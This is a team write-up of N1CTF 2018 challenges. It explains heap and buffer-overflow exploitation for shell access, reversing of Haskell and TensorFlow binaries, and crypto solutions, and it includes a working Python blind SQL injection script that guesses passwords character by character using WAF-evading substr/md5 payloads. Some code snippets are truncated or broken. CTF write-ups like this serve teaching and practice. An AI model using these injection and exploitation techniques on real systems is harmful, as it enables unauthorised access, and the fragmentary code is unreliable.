N1CTF 2018


null (kevin47)

ELF 64-bit, stripped, Canary and NX enabled, Full RELRO, No PIE 結果這題根本超簡單QQ

  • arbitrary malloc with no free
  • overflow in read
  • using thread
  • function pointer in 0x602038

After the first malloc, the mapped address space will look like:

    Start Addr         End Addr       Size  Offset 
     0x20c6000        0x20e7000    0x21000  0x0 [heap]
0x7f7b60000000   0x7f7b60021000    0x21000  0x0 <- thread arena
0x7f7b60021000   0x7f7b64000000  0x3fdf000  0x0 <- space for malloc
0x7f7b6714c000   0x7f7b6714d000     0x1000  0x0 
0x7f7b6714d000   0x7f7b6794d000   0x800000  0x0 
0x7f7b6794d000   0x7f7b67b0d000   0x1c0000  0x0 /lib/x86_64-linux-gnu/libc-2.23.so

Our goal is to overwrite thread arena with overflow, so we need a chunk of memory before the thread arena. Achive this by spamming malloc. After filling the space, new mapped address space will look like:

    Start Addr         End Addr       Size  Offset 
     0x20c6000        0x20e7000    0x21000  0x0 [heap]
0x7f7b58000000   0x7f7b60000000  0x8000000  0x0 <- new mapped space
0x7f7b60000000   0x7f7b63ffd000  0x3ffd000  0x0 <- thread arena
0x7f7b63ffd000   0x7f7b64000000     0x3000  0x0 <- filled space
0x7f7b6714c000   0x7f7b6714d000     0x1000  0x0 
0x7f7b6714d000   0x7f7b6794d000   0x800000  0x0 
0x7f7b6794d000   0x7f7b67b0d000   0x1c0000  0x0 /lib/x86_64-linux-gnu/libc-2.23.so

Bang! the new space will be before the thread arena! Just fill it again so that we can control the end near 0x7f7b60000000.

Thread arenas' structure are similar (may be equal) to the main arena, they both has fastbins.

We overwrite the fastbin of size 0x70 to 0x60201d, just before the function pointer. Overwrite the pointer to system@PLT and get shell :)

memsafety (kevin47)

ELF 64-bit, stripped, no canary found, NX and PIE enabled, partial RELRO Rust 題,source code 1000 行,我不一定看得完 ( ̄▽ ̄)

  • Rust checks array boundary in runtime, so it needs no canary


ELF 64-bit, stripped, canary NX PIE enabled, partial RELRO brain fuck

  • predictable mmap address: The process would mmap an readable, writeable, executeable space. The address is create by rand() with srand(time(0)), so it is predictable.We can write shellcode on it, and there is a function pointer that already point to it.
  • brain-fuck like interpreter: There is an interpreter that can interpret a language similar as brain fuck, and it always take the command on the .data section
  • password: Password is constant and can be known by reversing, but before checking the input password the interpret would execute and change the input passwrd.
  • BOF: The input password can be overflowed, and we can change the command that the interpreter execute. We can overwrite command with NULL, so the interpret will not do anything.
  • write shellcode: Login again, and we can use brain-fuck like language to write shell code on mmap address.Then we can trigger fuction pointer to get shell.

vote (how2hack)

ELF 64-bit, stripped, Canary and NX enabled, partial RELRO

  • Data structure:
    • Number of votes (8 bytes, uncontrollable)
    • Last voting time (8 bytes, uncontrollable)
    • Name (malloc size, controllable)
  • Binary with 5 functions:
    • Create: malloc size 1~4096, then input data
    • Show: show the data infos (votes, time, name)
    • Vote: Not important
    • Result: Not important
    • Cancel: free a chunk
  • Vulnerabilities:
    • Use-after-free:
      • Freed chunk doesn't set to NULL
      • Use show() to leak FD and BK (libc address)
    • Double Free:
      • Fastbin corruption attack
  • Exploit:
    • Forging fake fastbin (Q is UAF) : vote1




* Overwrite pthread_create to one_gadget and get shell!
  • Flag:
    • N1CTF{Pr1nTf_2333333333!}


patience (sces60107)

In this challenge, we will be given one binary and one cmm file.

The binary will print flag very slowly. So we must figure out the algorithm in this binary.

But IDA pro is not working on this binary.

After some googling I found that cmm file is related to haskell compiler

Fortunately, the cmm file is somehow human-readable.

With some guessing I summerize some pseudo classes.

def s0():
    return  [97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,48,49,50,51,52,53,54,55,56,57,33,35,36,37,38,39,34,40,41,42,43,44,45,46,47,58,59,60,61,62,63,64,91,92,93,94,95,96,123,124,125,126]

def s1():
    return [49,118,73,123,101,91,56,84,100,93,45,110,81,46,55,79,34,98,108,40,106,113,64,60,48,86,121,38,90,51,126,92,112,115,44,97,68,94,59,66,78,57,74,85,111,104,124,67,69,50,95,54,33,71,39,114,72,117,102,62,36,83,37,77,120,103,122,75,89,52,96,99,43,87,88,65,53,70,41,109,82,125,35,80,116,76,63,42,61,105,47,58,119,107]

def s2():
    return [66,112,125,105,123,88,85,37,102,36,68,82,92,48,60,76,120,61,111,34,83,108,96,98,122,41,45,101,54,50,124,38,74,113,70,84,33,40,67,53,121,104,59,64,117,42,46,87,97,90,35,81,118,44,63,99,114,56,119,69,109,52,95,116,49,57,80,72,58,106,93,62,91,78,86,77,110,55,89,71,107,75,39,94,47,126,79,73,100,115,65,43,51,103]

def s3():
    return [95,114,43,35,121,104,91,89,41,83,56,97,88,74,119,86,38,106,118,34,111,61,73,40,54,62,112,103,44,102,45,77,93,113,98,78,52,39,69,68,75,70,92,116,60,51,71,37,124,36,99,115,80,81,109,125,126,48,64,82,59,117,85,50,122,57,105,87,66,46,47,72,67,107,33,123,58,79,100,94,90,84,55,96,65,110,108,49,101,53,76,42,120,63]

And I also find out that there is some global constant which seems related to flag.

[section ""data" . dt_r33R_closure" {
         const GHC.Types.I#_con_info;
         const 0;

==================== Output Cmm ====================
[section ""data" . dt1_r36n_closure" {
         const GHC.Types.I#_con_info;
         const 39;

==================== Output Cmm ====================
[section ""data" . flags1_r36o_closure" {
         const Main.Index_con_info;
         const dt_r33R_closure+1;
         const dt1_r36n_closure+1;
         const 3;

==================== Output Cmm ====================
[section ""data" . dt2_r36p_closure" {
         const GHC.Types.I#_con_info;
         const 5;

==================== Output Cmm ====================
[section ""data" . dt3_r36q_closure" {
         const GHC.Types.I#_con_info;
         const 282;

==================== Output Cmm ====================
[section ""data" . flags2_r36r_closure" {
         const Main.Index_con_info;
         const dt2_r36p_closure+1;
         const dt3_r36q_closure+1;
         const 3;

Each byte of flag is defined by two number.

We know the first byte is 'N' and the s0_closure()[39] is also 'N'. I thought it's not a coincidence.

So I suppose that the second number is index value.

Now what about the first number?

After some testing and brainstorming.

I figure out the complete algorithm

def foo(n):
    if n==0:
        return s0()
        return s1()+foo(n-1)+s2()+foo(n-1)+s3()

flag = [[0,39],[5,282],....]

for i in flag:
    print foo(i[0])[i[1]]

Finally, The flag is N1CTF{did_cmm_helped?1109ef6af4b2c6fc274ddc16ff8365d1}

baby neural network (sasdf)

Just like common c++ reverse challenge with complex libraries, decompiled code is full of garbage. There are about 1300 lines in main.


First thing to do is to find our objective.

    v106 = *(v7 + v104);
    *&v106.m128_u64[0] = *&v106.m128_u64[0] - *(v7 + 5796584);
    v106.m128_f32[0] = *&v106.m128_u64[0];
    if ( COERCE_FLOAT(_mm_and_ps(v106, xmmword_247E300)) > 1.0e-10 )
        std::operator<<<std::char_traits<char>>(&std::cout, "Incorrect flag :(");
        goto LABEL_197;
    v7 = v7 + 8;
while ( v7 != 328 );
        "Congratulations! Your flag is absolutely correct.");

Looks like we need to make something equals to zero. However, IDA decompilied it incorrectly.

call     tensorflow::Tensor::shaped<double,1ul>(tensorflow::gtl::ArraySlice<long long>)
movsd    xmm0, qword ptr [rbx+rax]
subsd    xmm0, predictions[rbx]
cvtsd2ss xmm0, xmm0
andps    xmm0, cs:xmmword_247E300
cvtss2sd xmm0, xmm0
ucomisd  xmm0, cs:qword_247CE48
jbe      short loc_448A26
mov      esi, offset aIncorrectFlag ; "Incorrect flag :("

It subtracts a Tensor with predictions, and check if it equals to zero. Our objective is to make this Tensor equals to predictions.

Dig into

To figure out what the program is, just ignore everything drives you crazy.

At the top of main, there's some check telling us the input has length of 41.

if ( argc != 2 )
    std::operator<<<std::char_traits<char>>(&std::cout, "Please supply your input");
    goto LABEL_6;
input = argv[1];
inputLen = -1LL;
/* do ... while */
if ( inputLen == -43 ) // in fact, it's checking length == 41

After remove all garbages, the code looks more friendly:

tensorflow::TensorShapeBase::TensorShapeBase(&_placeholder, &shape_1_41, 2LL);
tensorflow::ops::Placeholder::Placeholder(&placeholder, &scope, 2LL, v10);
tensorflow::TensorShapeBase::TensorShapeBase(v10, &_733, 2LL); // _733 = {1, 41}
tensorFromArray(&bias1, 2LL, &bias_layer1, 328LL, v10); // 1 * 41 * 8 = 328
/* ... from 1 to 5 ... */
tensorflow::TensorShapeBase::TensorShapeBase(v10, &_738, 2LL); // _738 = {41, 41}
tensorFromArray(&w1, 2LL, &weights_layer1, 13448LL, v10); // 41 * 41 * 8 = 13448
/* ... from 1 to 5 ... */
tensorflow::TensorShapeBase::TensorShapeBase(v10, &_743, 2LL); // _743 = {1, 41}
tensorFromArray(&pred, 2LL, &predictions, 328LL, v10);

tensorflow::Tensor::Tensor(&_bias1, &bias1);
tensorflow::Tensor::Tensor(&_w1, &w1);
tensorflow::ops::MatMul::MatMul(&v180, &scope, &_placeholder, v10);
tensorflow::ops::Add::Add(&v184, &scope, &v249, v3);
tensorflow::ops::Sigmoid::Sigmoid(&v188, &scope, &v239);

tensorflow::Tensor::Tensor(v10, &bias2);
tensorflow::Tensor::Tensor(&_placeholder, &w2);
forwardPass(&v164, &scope, &v199, &_placeholder, v10);
/* ... from 2 to 5 ... */

tensorflow::ClientSession::ClientSession(&sess, &scope);
tensorflow::ClientSession::Run(&v188, &sess, &v192, &v142, &v139);

It looks like a 5-layer DNN with sigmoid as activation function. For people who isn't familiar with Deeeeeep learning, Here's math notation: $$ v_0 := input\ v_5 := output\ v_i = sigmoid\left(v_{i-1} W_i + b_i\right)\ sigmoid(x) = \frac{1}{1+e^{-x}} $$ and the inverse is: $$ sigmoid^{-1}(x) = - log\left(\frac{1}{x} - 1\right)\ v_{i-1} = \left(sigmoid^{-1}(v_i) - b_i\right) W_i^{-1} $$ we will get the flag after calculating the inverse for all layers:

[0.0128232  0.02040983 0.01491556 0.01190851 0.01428702 ... ]

... not the flag :(


Tracing along the path about how input string goes into neural network:

_input = _argv[1];
for ( i = 0LL; ; i = v69++ )
    *&v198[8 * v69 - 8] = 1.0 / _input[i];
    if ( v69 == 41 )
tensorflow::TensorShapeBase::TensorShapeBase(v10, &_744, 2LL); // _744 = {1, 41}
tensorFromArray(&v234, 2LL, v198, 328LL, v10); // 328 = 1 * 41 * 8

flag is multicative inverse of previous result :) N1CTF{N3ural_Network_1s_Really_Fantastic}


77777 (sasdf, bookgin)

sprintf("UPDATE users SET points=%d%s", $_POST['flag'], waf($_POST['hi']);
  • substring is WAFed, but substr is not.
  • Get length: hi=9453 where LENGTH(password)>14 and LENGTH(password)<16 = is filtered by WAF.
  • Get password: hi=9453 where md5("a") like md5(substr(password, 1, 1))
#!/usr/bin/env python3
import requests, string, re

def flush():
    data = dict(flag='',hi='1234')
    requests.post('', data=data)

def guess(s):
    data = dict(
        hi=f'9453 where md5("{s}") like md5(substr(password, 1, {len(s)}))',
    response = requests.post('', data=data).text
    result = re.search('My Points.*<br/>', response)
    return (result is not None and '9453' in result.group(0))

def guessNext(prefix):
    for i in string.printable:
        print(prefix, i)
        if guess(prefix + i):
            return prefix + i
    raise RuntimeError(pwd, 'next char not found')

while len(pwd) != 15:
    pwd = guessNext(pwd)

Someone provides this shorter payload `ord(substr(password,INDEX,1))

77777 2 (bookgin) unsolved

  • The column name pw is WAFed, but in fact it just did not allow the pw keyword to be prefixed or followed by any characters apart from whitespaces. (why....?)
  • where is WAFed.
  • Not WAFed: substr select from if & *
  • Payload: convert(hex(substr( pw ,1 ,1)),signed)


babysqli (bookgin) unsolved

sql injection 的點是使用者大頭照,有 1.png & 2.png,但 information 被 WAF,所以不好取得 database_name

Payload 1:


Payload 2:

  • 然後拿到 database sys,mysql,n1ctf_2018_venenof7
  • n1ctf_2018_venenof7vimg,vusers 兩張 tables
  • vusers 有個 column 叫 password ,跑出来ac895b772a4ec1eff81e07aa2907afe3

拿去主辦官方的網頁做 md5 decrypt 噴 flag



baby_N1ES (shw)

We are given the source code of encryption and a ciphertext.

def encrypt(self, plaintext):
    if (len(plaintext) % 16 != 0 or isinstance(plaintext, bytes) == False):
        raise Exception("plaintext must be a multiple of 16 in length")
    res = ''
    for i in range(len(plaintext) / 16):
        block = plaintext[i * 16:(i + 1) * 16]
        L = block[:8]
        R = block[8:]
        for round_cnt in range(32):
            L, R = R, (round_add(L, self.Kn[round_cnt]))
        L, R = R, L
        res += L + R
    return res

And the function round_add():

def round_add(a, b):
    f = lambda x, y: x + y - 2 * (x & y)
    res = ''
    for i in range(len(a)):
        res += chr(f(ord(a[i]), ord(b[i])))
    return res

Note that if m = round_add(a, b), then a = round_add(m, b), and also it is a Feistel cipher. Thus, we can decrypt the ciphertext by simply reversing the key schedule.

from N1ES import N1ES
import base64

key = "wxy191iss00000000000cute"
n1es = N1ES(key)
c = 'HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx'

n1es.Kn = n1es.Kn[::-1]
print n1es.encrypt(base64.b64decode(c))

FLAG: N1CTF{F3istel_n3tw0rk_c4n_b3_ea5i1y_s0lv3d_/--/}

rsa_padding (shw)

We are given the source code of encryption, where m contains the flag, and e = 3.

mm = bytes_to_long(m)
assert pow(mm, e) != pow(mm, e, n)
sys.stdout.write("Please give me a padding: ")
padding = input().strip()
padding = int(sha256(padding.encode()).hexdigest(),16)
c = pow(mm+padding, e, n)
print("Your Ciphertext is: %s"%c)

Some write-ups point out that this encryption is vulnerable to Franklin-Reiter related-message attack. Simply speaking, the congruence equation $c \equiv (m + p)^3\ \mathrm{mod}\ n$ can be reduced to a linear congruence equation of $m$ and be solved easily, if we have at least three pairs of $(p, c)$. Then, we get m = Welcom to Nu1L CTF, Congratulations, You get flag, and flag is N1CTF{f7efbf4e5f5ef78ca1fb9c8f5eb02635}.


losetome (how2hack)

I dunno... just try to lose Reversi against AI =w= FLAG: N1CTF{Oh!you_1ose_t0_AI_hhhhhh}